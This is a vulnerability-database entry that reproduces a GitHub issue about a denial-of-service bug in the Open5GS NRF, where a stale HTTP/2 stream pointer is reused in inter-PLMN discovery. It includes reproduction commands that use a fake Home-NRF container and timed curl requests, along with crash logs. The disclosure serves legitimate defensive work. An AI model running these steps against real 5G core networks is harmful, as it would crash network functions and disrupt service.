| Título | Open5GS NRF v2.7.7 Denial of Service |
|---|
| Descripción | ### Open5GS Release, Revision, or Tag
v2.7.7
### Description
NRF aborts during inter-PLMN discovery forwarding if the original HTTP/2 client
disconnects before the Home-NRF response comes back.
The forwarding path stores a raw `ogs_sbi_stream_t *` inside `nrf_assoc`:
```c
typedef struct nrf_assoc_s {
...
ogs_sbi_stream_t *stream;
} nrf_assoc_t;
```
```c
assoc->stream = stream;
```
When the delayed Home-NRF response arrives, `discover_handler()` reuses that raw
pointer without checking whether the original stream/session is still alive:
```c
stream = assoc->stream;
ogs_assert(stream);
...
ogs_expect(true == ogs_sbi_server_send_response(stream, response));
```
But if the original client timed out and disconnected first, nghttp2 closes the
stream and frees it:
```c
stream = nghttp2_session_get_stream_user_data(session, stream_id);
...
stream_remove(stream);
```
The later response send then walks into `server_send_rspmem_persistent()` with
an invalid socket and aborts:
```c
fd = sock->fd;
ogs_assert(fd != INVALID_SOCKET);
```
This is a distinct crash from the already documented inter-PLMN `SearchResult`
pool-exhaustion issues. Here the attacker only needs a delayed but otherwise
valid Home-NRF response plus a client disconnect.
### Root cause
- Entry route:
`GET /nnrf-disc/v1/nf-instances`
- Preconditions:
inter-PLMN forwarding path with `hnrf-uri`, and the original client must
disconnect before the Home-NRF replies
- Raw association storage:
`../src/nrf/context.h:44-48`
and `../src/nrf/context.c:137-153`
- Response callback:
`../src/nrf/nnrf-handler.c:1360-1405`
- Stream free on disconnect:
`../lib/sbi/nghttp2-server.c:1306-1327`
- Exact crash site:
`../lib/sbi/nghttp2-server.c:643`
- Root cause family:
stale stream / use-after-free style response handling leading to assertion
abort
- Controlling factor:
delayed Home-NRF response timing relative to original client disconnect
### Steps to reproduce
1. Start a fake h2c Home-NRF on the Docker `open5gs` network:
```bash
printf 'control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
docker run --rm -d \
--name hnrfctl \
--network open5gs \
--network-alias hnrfctl \
-e NRF_FAKE_PORT=80 \
-v /home/ubuntu/open5gs_277/.audit_tmp:/srv \
node:24-alpine \
node /srv/nrf_fake_hnrf.js
```
2. Control case: restart the local NRF and issue the inter-PLMN request with an
immediate Home-NRF response:
```bash
docker restart nrf
sleep 2
docker run --rm --network open5gs curlimages/curl:8.10.1 \
--http2-prior-knowledge -sS -i -m 8 --get \
http://nrf.open5gs.org/nnrf-disc/v1/nf-instances \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
```
3. Malicious case: switch the fake Home-NRF to delayed mode, restart the local
NRF to clear the cached foreign UDR, then send the same request with a 1
second client timeout so the original stream is closed before the delayed
response returns:
```bash
printf 'delayed-control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
docker restart nrf
sleep 2
docker run --rm --network open5gs curlimages/curl:8.10.1 \
--http2-prior-knowledge -sS -i -m 1 --get \
http://nrf.open5gs.org/nnrf-disc/v1/nf-instances \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
sleep 4
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf
docker logs --tail 120 nrf 2>&1
```
### Logs
```shell
04/23 12:49:11.233: [sbi] INFO: RST_STREAM received: stream_id=1 (../lib/sbi/nghttp2-server.c:1288)
04/23 12:49:11.233: [sbi] ERROR: on_stream_close_callback() failed (5:STREAM_CLOSED) (../lib/sbi/nghttp2-server.c:1320)
04/23 12:49:13.245: [sbi] FATAL: server_send_rspmem_persistent: Assertion `fd != INVALID_SOCKET' failed. (../lib/sbi/nghttp2-server.c:643)
04/23 12:49:13.250: [core] FATAL: backtrace() returned 12 addresses (../lib/core/ogs-abort.c:37)
```
### Expected behaviour
NRF should detect that the original client stream is already gone and drop the delayed Home-NRF response without aborting.
### Observed Behaviour
If the original inter-PLMN discovery client disconnects before the delayed Home-NRF reply arrives, NRF reuses a stale stream pointer and terminates with exit code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| Fuente | ⚠️ https://github.com/open5gs/open5gs/issues/4476 |
|---|
| Usuario | ZiyuLin (UID 93568) |
|---|
| Sumisión | 2026-05-01 10:40 (hace 1 mes) |
|---|
| Moderación | 2026-05-16 14:38 (15 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 364333 [Open5GS hasta 2.7.7 NRF nghttp2-server.c discover_handler desbordamiento de búfer] |
|---|
| Puntos | 20 |
|---|